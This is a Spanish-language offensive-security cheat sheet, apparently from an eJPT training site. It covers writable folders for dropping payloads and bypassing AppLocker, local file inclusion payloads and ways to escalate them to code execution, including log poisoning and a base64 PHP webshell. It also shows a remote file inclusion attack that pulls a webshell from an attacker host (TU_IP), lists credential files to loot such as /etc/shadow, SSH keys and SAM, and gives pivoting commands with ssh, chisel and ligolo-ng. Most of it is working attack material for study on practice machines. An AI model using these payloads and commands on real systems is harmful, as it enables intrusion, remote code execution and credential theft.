Sistemas de ficheros · dónde escribir, qué leer, cómo colar
Cuando entras en una máquina necesitas un sitio donde dejar tu herramienta y poder ejecutarla; y cuando atacas una web, saber leer ficheros del servidor y convertir un LFI en RCE. Esta es tu chuleta de carpetas escribibles y de LFI/RFI.
W Carpetas escribibles y ejecutables en Windows
Cuando necesitas soltar un binario/payload en Windows (y a menudo saltar AppLocker), estas carpetas suelen ser escribibles por usuarios normales y, varias, están en las rutas permitidas por defecto de AppLocker — por eso la famosa spool\drivers\color es un clásico.
| Ruta | Por qué es útil |
|---|---|
C:\Windows\System32\spool\drivers\color | Escribible por usuarios y dentro del allowlist por defecto de AppLocker. El bypass clásico para ejecutar binarios. |
C:\Windows\Tasks | Escribible por usuarios; ruta «System32-adyacente» que suele colarse en reglas por ruta. |
C:\Windows\Temp | Escribible por todos. Cómodo para staging (ojo: muy vigilado por EDR). |
C:\Windows\Tracing | Escribible por usuarios. Otro clásico de bypass por ruta. |
C:\Windows\System32\spool\PRINTERS | Escribible por usuarios (cola de impresión). |
C:\Windows\debug\WIA | Escribible por usuarios. |
C:\PerfLogs | A menudo escribible; raíz poco vigilada. |
%TEMP% · %APPDATA% · %LOCALAPPDATA% | El home del usuario: escribible y ejecutable sin privilegios. Tu sitio por defecto. |
# carpetas donde el usuario actual puede escribir Get-ChildItem C:\Windows -Recurse -ErrorAction SilentlyContinue | ? { $_.PSIsContainer } | % { try{ $t="$($_.FullName)\.t"; [IO.File]::Create($t).Close(); Remove-Item $t; $_.FullName }catch{} } # o con accesschk de Sysinternals: accesschk.exe -uwdq -accepteula "Everyone" C:\Windows
nc.exe, tu winPEAS.exe o tu payload de msfvenom y lo lanzas. Si hay AppLocker, eliges una de las rutas del allowlist. Si hay EDR, prefieres ejecución en memoria antes que tocar disco.L Carpetas escribibles y ejecutables en Linux
| Ruta | Por qué es útil |
|---|---|
/tmp | Escribible por todos. El sitio por defecto… si no está montado noexec. |
/dev/shm | Memoria compartida, escribible por todos. Ideal: rápido y «en RAM». A menudo ejecutable aunque /tmp sea noexec. |
/var/tmp | Escribible por todos y persiste tras reinicio (a diferencia de /tmp). |
/run/user/<uid> | Directorio de runtime del usuario, escribible por él. |
~ (home) · webroot escribible | Tu home siempre; y carpetas de la web (/var/www) si el servicio escribe ahí. |
# todas las carpetas escribibles por mi usuario find / -writable -type d 2>/dev/null # ¿está /tmp montado noexec? (si sí, usa /dev/shm o un intérprete) mount | grep -E 'tmp|shm' # ejecutar aunque sea noexec: vía intérprete o el loader python3 exploit.py bash script.sh /lib64/ld-linux-x86-64.so.2 ./binario
noexec: si /tmp está montado con noexec no podrás hacer ./binario. Soluciones: usa /dev/shm, ejecútalo con su intérprete (python3, bash, perl) o invoca el loader de ELF directamente.📂 LFI · Local File Inclusion
Una web incluye un fichero según un parámetro (?page=about.php) sin sanear. Puedes leer ficheros del servidor — y, con suerte, llegar a ejecutar código.
Payloads base
- Traversal:
?page=../../../../etc/passwd(sube directorios hasta la raíz) - Ruta absoluta:
?page=/etc/passwd - Null byte (PHP < 5.3.4):
?page=../../etc/passwd%00(corta la extensión que añade la app) - Leer código PHP en Base64 (no lo ejecuta, lo lee):
?page=php://filter/convert.base64-encode/resource=config.php
De LFI a RCE
| Técnica | Payload |
|---|---|
data:// (requiere allow_url_include) | ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id |
php://input (allow_url_include) | ?page=php://input + cuerpo POST: <?php system('id');?> |
expect:// (ext. expect) | ?page=expect://id |
| Log poisoning | inyecta <?php system($_GET['c']);?> en el User-Agent, luego ?page=/var/log/apache2/access.log&c=id |
/proc/self/environ | si es legible, envenena el User-Agent igual que un log |
| PHP filter chain (RCE sin fichero) | cadenas de php://filter que generan código PHP arbitrario (usa php_filter_chain_generator) |
Bypasses de filtros LFI
- Filtran
../→ prueba doble codificación%252e%252e%252fo....//(al quitar../una vez, queda../) - Codificación URL:
%2e%2e%2f· overlong UTF-8:%c0%ae%c0%ae/ - Añade extensión obligatoria → usa
%00(viejo) o el wrapperphp://filter(que admite la extensión al final) - «Path truncation» con rutas larguísimas
....//....//+/./././
🌎 RFI · Remote File Inclusion
Como el LFI, pero la web incluye un fichero remoto que tú sirves → RCE directo. Requiere allow_url_include=On (poco común hoy, pero cae en máquinas de práctica).
# 1) crea tu webshell echo '<?php system($_GET["c"]); ?>' > shell.txt # 2) sírvela desde tu Kali python3 -m http.server 80 # 3) inclúyela desde la web vulnerable http://victima/index.php?page=http://TU_IP/shell.txt&c=id # variantes para evadir filtros: ?page=http://TU_IP/shell.txt%00 ?page=http://TU_IP/shell.txt?
🔑 Ficheros jugosos para leer (LFI loot)
| Linux | Windows |
|---|---|
/etc/passwd · usuarios | C:\Windows\System32\drivers\etc\hosts |
/etc/shadow · hashes (si root) | C:\inetpub\wwwroot\web.config · creds de app |
~/.ssh/id_rsa · clave privada SSH | C:\Windows\System32\config\SAM · hashes |
~/.bash_history · comandos | C:\Windows\Panther\Unattend.xml · creds de instalación |
/var/www/html/config.php · BD | C:\xampp\apache\conf\httpd.conf |
/proc/self/cmdline · proceso | C:\Windows\System32\config\RegBack\SAM |
/etc/apache2/sites-enabled/* | C:\Users\<u>\AppData\...\History |
🔀 Pivoting · saltar a la red interna
Ya tienes una máquina («pivote») con acceso a una segunda red que tú no alcanzas. El pivoting te deja atacar esa red a través de ella. Tres formas, de menos a más cómoda:
# port forward LOCAL: servicio interno 10.10.2.5:80 -> tu localhost:8080 ssh -L 8080:10.10.2.5:80 user@pivote # proxy SOCKS dinámico: toda una red a través del pivote ssh -D 1080 user@pivote # luego: proxychains nmap -sT 10.10.2.0/24
# en tu Kali (servidor) ./chisel server -p 8000 --reverse # en el pivote (cliente) -> crea un SOCKS en tu Kali:1080 ./chisel client TU_IP:8000 R:1080:socks # y usas proxychains igual proxychains crackmapexec smb 10.10.2.0/24
# Kali: prepara la interfaz y el proxy sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up ./proxy -selfcert # pivote: conecta el agente ./agent -connect TU_IP:11601 -ignore-cert # en ligolo: session -> start, y añade la ruta de la red interna sudo ip route add 10.10.2.0/24 dev ligolo # ahora atacas 10.10.2.0/24 DIRECTAMENTE, sin proxychains
-D + proxychains te saca del paso. Sin SSH, chisel. Para comodidad total en redes grandes, ligolo-ng (enrutas y atacas como si estuvieras dentro). Tienes más comandos en el Arsenal → pivoting.▶ Simulacro eJPT Arsenal · encoders & bypasses Guía Burp Suite Máquinas